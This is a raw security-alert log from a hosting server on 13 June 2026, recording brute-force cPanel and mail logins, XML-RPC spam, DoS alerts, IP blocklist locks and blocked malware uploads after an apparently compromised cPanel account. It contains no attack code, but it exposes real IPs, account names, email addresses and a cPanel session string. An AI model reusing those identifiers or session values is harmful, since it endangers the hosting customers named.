103.121.173.21 - - [13/Jun/2026:08:47:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792918&pdata=https%253A%252F%252Fmacite.tg%252F2024%252F11%252F14%252Fmarocanite-du-sahara-sainte-lucie-reitere-son-appui-au-plan-dautonomie-comme-la-seule-solution-credible-serieuse-et-realiste-au-differend%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781340444 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2024/11/14/marocanite-du-sahara-sainte-lucie-reitere-son-appui-au-plan-dautonomie-comme-la-seule-solution-credible-serieuse-et-realiste-au-differend/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.4504.1572 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.121.173.21


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.16.27.210
country_id: 1269750
description:
2026-06-13 08:51:13 dovecot_login authenticator failed for H=([178.178.222.58]) [125.16.27.210]:52336: 535 Incorrect authentication data (set_id=info@dany2.mairie.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.75.235.102
country_id: 1733045
description:
180.75.235.102 - - [13/Jun/2026:08:54:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7234248&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fzircon-supply-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781340873 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/zircon-supply-recrute/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.1765.1338 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.75.235.102


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 179.60.74.136
country_id: 3895114
description:
179.60.74.136 - - [13/Jun/2026:08:55:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328467&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnana-akufo-addo-reelu%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781340904 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/nana-akufo-addo-reelu/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2328.1483 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:179.60.74.136


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-13 08:55:10 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:47964: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.169.209.61
country_id: 1210997
description:
103.169.209.61 - - [13/Jun/2026:08:55:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750640&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fzircon-supply-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781340946 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/zircon-supply-recrute/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.7869.1616 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.169.209.61


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.248.103.13
country_id: 3175395
description:
95.248.103.13 - - [13/Jun/2026:08:56:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934277&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmali-tunisie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781340972 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mali-tunisie/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.7428.1453 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.248.103.13


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.60
country_id: 3469034
description:
Jun 13 08:57:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.60 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 202.59.209.68
country_id: 1210997
description:
202.59.209.68 - - [13/Jun/2026:09:01:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986607&pdata=https%253A%252F%252Ftogodailynews.tg%252Fetat-secteur-prive-fiscalite-et-protection-sociale-au-coeur-des-discussions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781341271 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/etat-secteur-prive-fiscalite-et-protection-sociale-au-coeur-des-discussions/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:202.59.209.68


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.200
country_id: 1880251
description:
47.128.96.200 - - [13/Jun/2026:09:04:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9947756&pdata=https%253A%252F%252Fzephyr.tg%252Fsample-page%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781341441 HTTP/2.0" 302 0 zephyr.tg "https://zephyr.tg/sample-page/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.200


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.237.222.62
country_id: 3865483
description:
[2026-06-13 09:04:45 +0000] info [cpaneld] 45.237.222.62 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.145.219.198
country_id: 3996063
description:
[2026-06-13 09:04:48 +0000] info [cpaneld] 187.145.219.198 - ucaouut "GET /login/?login_only=1&user=ucaouut&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.22.57.9
country_id: 3865483
description:
[2026-06-13 09:04:57 +0000] info [cpaneld] 186.22.57.9 - ucaouu "GET /login/?login_only=1&user=ucaouu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucaouu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.234.213.14
country_id: 3658394
description:
[2026-06-13 09:05:08 +0000] info [cpaneld] 177.234.213.14 - uca "GET /login/?login_only=1&user=uca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user uca (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 182.9.193.160
country_id: 1643084
description:
182.9.193.160 - - [13/Jun/2026:09:07:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857123&pdata=https%253A%252F%252Ftogodailynews.tg%252Fahiadjipe-kokou-messan-paul-menuisier-de-profession-aspire-devenir-avocat%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781341657 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/ahiadjipe-kokou-messan-paul-menuisier-de-profession-aspire-devenir-avocat/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.5693.1701 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:182.9.193.160


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.114.252.65
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0a1591e3f299a863c46eb6b6ae68168a79a6361e||Title:inuberwoufm1oz47||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.92
country_id: 1880251
description:
47.128.121.92 - - [13/Jun/2026:09:08:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263189&pdata=https%253A%252F%252Ftogodailynews.tg%252Ffinance-verte-togo-pole-financier-majeur-en-afrique-de-louest%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781341710 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/finance-verte-togo-pole-financier-majeur-en-afrique-de-louest/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.92


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.114.253.12
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ad068bd0c6293b511564d88aa800ce2205dc09ff||Title:60r2db6n2iu3ol||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.114.252.65
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:28ab9a138e0c0ae102f2821a684852ebbb45cb50||Title:g52fffh6vnwlvip||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.37.228
country_id: 2300660
description:
Jun 13 09:13:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.37.228 has been locked due to Imunify RBL


plugin: cl_dos
name: DOS detection
abuser: 194.102.38.65
country_id: 2635167
description:
2026-06-13 09:15:13.621200674 +0000 GMT m=+42117.300030547 Denial of Service attack was discovered from 194.102.38.65, on port 52224. Open connections: 379


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 09:14:38.950974996 +0000 GMT m=+42082.629804869 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 298


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.255.97.250
country_id: 6252001
description:
[2026-06-13 09:15:21 +0000] info [cpaneld] 72.255.97.250 - stephaneogou@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-06-13 09:16:55 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:35876: 535 Incorrect authentication data (set_id=admin@cameg-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 169.197.85.170
country_id: 6252001
description:
169.197.85.170 - - [13/Jun/2026:09:16:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248995&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342181 HTTP/1.1" 302 0 ns5.netmaster.tg "http://ns5.netmaster.tg:2082/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:169.197.85.170


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 169.197.85.170
country_id: 6252001
description:
[2026-06-13 09:16:56 +0000] info [cpaneld] 169.197.85.170 NEW aopsacai:VDcPXnNBdf2XUPSH address=169.197.85.170,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 169.197.85.170
country_id: 6252001
description:
[2026-06-13 09:16:26 +0000] info [cpaneld] 169.197.85.170 - aopsacai "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [169.197.142.208] != Current IP Address [169.197.85.170]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.206.198.185
country_id: 298795
description:
31.206.198.185 - - [13/Jun/2026:09:17:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790089&pdata=https%253A%252F%252Ftogodailynews.tg%252Famelioration-de-la-sante-reproductive-le-togo-et-ses-partenaires-lancent-la-carte-de-score-srmnia%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342272 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/amelioration-de-la-sante-reproductive-le-togo-et-ses-partenaires-lancent-la-carte-de-score-srmnia/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.9515.1703 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.206.198.185


plugin: cl_dos
name: DOS detection
abuser: 103.167.171.149
country_id: 1643084
description:
2026-06-13 09:18:59.364844154 +0000 GMT m=+42343.043674027 Denial of Service attack was discovered from 103.167.171.149, on port 52223. Open connections: 255


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 189.155.164.250
country_id: 3996063
description:
189.155.164.250 - - [13/Jun/2026:09:19:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591889&pdata=https%253A%252F%252Ftogodailynews.tg%252Fjif-2022-les-femmes-participent-activement-a-la-vie-economique-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342356 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/jif-2022-les-femmes-participent-activement-a-la-vie-economique-du-togo/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.5956.1351 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:189.155.164.250


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 09:19:31.756239348 +0000 GMT m=+42375.435069221 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 371


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.99.182.6
country_id: 1210997
description:
103.99.182.6 - - [13/Jun/2026:09:19:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789222&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsecteur-culturel-demarrage-imminent-de-linstant-togo-acteurs-artistes-dont-zambe-en-conference-de-presse%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342387 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/secteur-culturel-demarrage-imminent-de-linstant-togo-acteurs-artistes-dont-zambe-en-conference-de-presse/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.9713.1380 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.99.182.6


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 13 09:19:45 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.158.53.202
country_id: 1643084
description:
Jun 13 09:21:02 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.158.53.202 has been locked due to Imunify RBL


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 09:20:35.053484498 +0000 GMT m=+42438.732314271 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 353


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 187.0.12.200
country_id: 3469034
description:
187.0.12.200 - - [13/Jun/2026:09:20:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212525&pdata=https%253A%252F%252Ftogodailynews.tg%252Fles-artistes-togolais-invites-a-sapproprier-le-contenu-de-la-loi-regissant-leur-profession%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342428 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/les-artistes-togolais-invites-a-sapproprier-le-contenu-de-la-loi-regissant-leur-profession/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.6837.1124 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:187.0.12.200


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 170.82.207.89
country_id: 3469034
description:
170.82.207.89 - - [13/Jun/2026:09:20:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6462107&pdata=https%253A%252F%252Ftogodailynews.tg%252Famelioration-de-la-sante-reproductive-le-togo-et-ses-partenaires-lancent-la-carte-de-score-srmnia%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342453 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/amelioration-de-la-sante-reproductive-le-togo-et-ses-partenaires-lancent-la-carte-de-score-srmnia/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.1214.1976 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.82.207.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.143.200.199
country_id: 1835841
description:
Jun 13 09:20:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.143.200.199 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.138.173.37
country_id: 1210997
description:
103.138.173.37 - - [13/Jun/2026:09:22:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673113&pdata=https%253A%252F%252Ftogodailynews.tg%252Fjif-2022-les-femmes-participent-activement-a-la-vie-economique-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781342518 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/jif-2022-les-femmes-participent-activement-a-la-vie-economique-du-togo/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.1789.1295 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.138.173.37


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 09:21:20 +0000] info [cpaneld] 185.213.83.136 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: cl_dos
name: DOS detection
abuser: 47.52.223.161
country_id: 1819730
description:
2026-06-13 09:21:40.741113163 +0000 GMT m=+42504.419943136 Denial of Service attack was discovered from 47.52.223.161, on port 52223. Open connections: 288


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 13 09:21:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 13 09:22:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.255.97.250
country_id: 6252001
description:
[2026-06-13 09:24:09 +0000] info [cpaneld] 72.255.97.250 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.249.32.94
country_id: 102358
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/en/a-propos HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.255.97.250
country_id: 6252001
description:
[2026-06-13 09:25:14 +0000] info [cpaneld] 72.255.97.250 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.255.97.250
country_id: 6252001
description:
[2026-06-13 09:26:01 +0000] info [cpaneld] 72.255.97.250 - cloudetracks "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.255.97.250
country_id: 6252001
description:
[2026-06-13 09:27:06 +0000] info [cpaneld] 72.255.97.250 - two "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user two (has_cpuser_file failed)


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 72.255.97.250
country_id: 6252001
description:
[2026-06-13 09:27:06 +0000] info [cpaneld] 72.255.97.250 - adm02 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adm02 (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.174.195.175
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/431290938 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 153.67.127.249
country_id: 3624060
description:
153.67.127.249 - - [13/Jun/2026:09:30:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12872342&pdata=https%253A%252F%252Fmacite.tg%252F2024%252F08%252F08%252Fformation-de-haut-niveau-au-togo-le-cls-sigma-lance-la-classe-preparatoire-scientifique-cps%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781343017 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2024/08/08/formation-de-haut-niveau-au-togo-le-cls-sigma-lance-la-classe-preparatoire-scientifique-cps/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2583.1020 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:153.67.127.249


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 118.67.205.74
country_id: 1831722
description:
[2026-06-13 09:30:54 +0000] info [cpaneld] 118.67.205.74 - aopsacai "GET /cpsess1395410872/json-api/cpanel?cpanel_jsonapi_module=Fileman&cpanel_jsonapi_func=listfiles&cpanel_jsonapi_apiversion=2&needmime=1&dir=%2fhome%2faopsacai%2fpublic_html&showdotfiles=1&cache_fix=1781343053852 HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [169.197.85.170] != Current IP Address [118.67.205.74]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 09:32:00 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.212.106.188
country_id: 1880251
description:
[2026-06-13 09:33:01 +0000] info [cpaneld] 188.212.106.188 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 13 09:33:37 ns5.netmaster.tg cpanel_fileman_hook[2314857]: 0 BAILOUT malware detected when save 'index.html' in /home/aopsacai/public_html/note-de-service for user aopsacai


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.15.157.212
country_id: 798544
description:
Jun 13 09:33:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.15.157.212 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.232.172
country_id: 1733045
description:
[2026-06-13 09:34:05 +0000] info [cpaneld] 180.75.232.172 - cafe "GET /login/?login_only=1&user=cafe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.74.114.51
country_id: 2542007
description:
[2026-06-13 09:34:12 +0000] info [cpaneld] 196.74.114.51 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 13 09:34:18 ns5.netmaster.tg cpanel_fileman_hook[2315432]: 0 BAILOUT malware detected when save 'index.html' in /home/aopsacai/public_html/note-de-service for user aopsacai


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.139.236.56
country_id: 3469034
description:
[2026-06-13 09:38:55 +0000] info [cpaneld] 94.139.236.56 - wgqhqbem "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.60.39
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/836c57 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.230.10.38
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/33-1024x768-1-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/33-1024x768-1-768x576.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/33-1024x768-1.webp 1024w HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.9.221.84
country_id: 3686110
description:
38.9.221.84 - - [13/Jun/2026:09:42:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6473831&pdata=https%253A%252F%252Feducplusmedia.tg%252Fpage%252F40%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781343765 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/page/40/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.7328.1752 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.9.221.84


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.136
country_id: 1643084
description:
[2026-06-13 09:43:13 +0000] info [cpaneld] 185.213.83.136 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.253.73.23
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/8a605d HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
